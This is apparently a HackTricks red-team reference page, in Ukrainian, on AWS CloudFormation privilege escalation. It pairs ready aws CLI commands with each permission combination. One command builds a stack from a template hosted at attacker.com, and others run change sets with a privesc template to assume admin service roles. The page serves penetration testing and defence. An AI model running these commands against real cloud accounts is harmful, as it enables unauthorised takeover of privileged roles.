AWS - Cloudformation Privesc

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

cloudformation

Для отримання додаткової інформації про cloudformation перегляньте:

pageAWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

Атакувальник з цими дозволами може підвищити привілеї, створивши стек CloudFormation зі спеціальним шаблоном, розміщеним на своєму сервері, для виконання дій в рамках дозволів вказаної ролі:

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

На наступній сторінці ви знайдете приклад використання з додатковим дозволом cloudformation:DescribeStacks:

pageiam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

Потенційний вплив: Підвищення привілеїв до обраної ролі сервісу cloudformation.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

У цьому випадку ви можете зловживати існуючим стеком cloudformation, щоб оновити його та підвищити привілеї, як у попередньому сценарії:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

Дозвіл cloudformation:SetStackPolicy може бути використаний для надання собі дозволу UpdateStack над стеком та виконання атаки.

Потенційний вплив: Підвищення привілеїв до ролі служби cloudformation, вказаної.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Якщо у вас є цей дозвіл, але немає iam:PassRole, ви все одно можете оновлювати використані стеки та зловживати IAM-ролями, які вже прикріплені. Перевірте попередній розділ для прикладу експлойту (просто не вказуйте жодної ролі при оновленні).

Дозвіл cloudformation:SetStackPolicy може бути використаний для надання собі дозволу UpdateStack над стеком та виконання атаки.

Потенційний вплив: Підвищення привілеїв до ролі служби cloudformation, яка вже прикріплена.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Атакуючий з дозволами на передачу ролі та створення та виконання ChangeSet може створити/оновити новий стек cloudformation та зловживати ролями служби cloudformation так само, як з CreateStack або UpdateStack.

Наступний експлойт є варіацією одного з CreateStack, використовуючи дозволи ChangeSet для створення стеку.

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

Дозвіл cloudformation:SetStackPolicy можна використовувати для надання собі дозволів ChangeSet над стеком та виконання атаки.

Потенційний вплив: Підвищення привілеїв до ролей служби cloudformation.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Це схоже на попередній метод без передачі IAM ролей, тому ви можете просто зловживати вже прикріпленими, просто змініть параметр:

--change-set-type UPDATE

Потенційний вплив: Підвищення привілегій до ролі обслуги cloudformation, яка вже прикріплена.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Зловмисник може зловживати цими дозволами, щоб створювати/оновлювати StackSets для зловживання довільними ролями cloudformation.

Потенційний вплив: Підвищення привілегій до ролей обслуги cloudformation.

cloudformation:UpdateStackSet

Зловмисник може зловживати цим дозволом без дозволу passRole для оновлення StackSets для зловживання прикріпленими ролями cloudformation.

Потенційний вплив: Підвищення привілегій до прикріплених ролей cloudformation.

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated